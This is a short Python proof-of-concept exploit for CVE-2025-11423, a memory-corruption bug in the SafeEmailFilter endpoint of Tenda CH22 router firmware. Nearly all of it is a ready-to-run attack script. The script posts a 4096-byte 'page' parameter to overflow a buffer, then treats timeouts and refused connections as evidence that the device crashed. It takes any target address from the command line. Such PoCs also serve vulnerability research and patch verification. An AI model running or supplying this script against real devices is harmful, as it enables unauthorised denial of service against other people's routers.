CVE-2025-11423

# CVE-2025-11423 PoC - Tenda CH22 formSafeEmailFilter Memory Corruption # Vulnerability: Memory corruption via manipulation of 'page' argument # Affected: Tenda CH22 firmware 1.0.0.1 # Endpoint: /goform/SafeEmailFilter import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.0.1" PORT = 80 ENDPOINT = "/goform/SafeEmailFilter" def exploit(target_url): """ Exploit CVE-2025-11423: Memory corruption in formSafeEmailFilter by sending a crafted 'page' parameter to trigger buffer overflow. """ url = f"{target_url}:{PORT}{ENDPOINT}" # Craft malicious payload - oversized 'page' parameter to trigger memory corruption payload = { "page": "A" * 4096 # Overflow buffer with excessive data } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-11423)" } try: print(f"[*] Targeting: {url}") response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") if response.status_code == 500 or response.status_code == 404: print("[+] Target may be vulnerable - server returned error status") elif response.status_code == 200: print("[+] Request sent successfully - check device for crash/restart") except requests.exceptions.Timeout: print("[+] Target appears to have crashed (timeout) - possible DoS") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may have crashed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit(TARGET)

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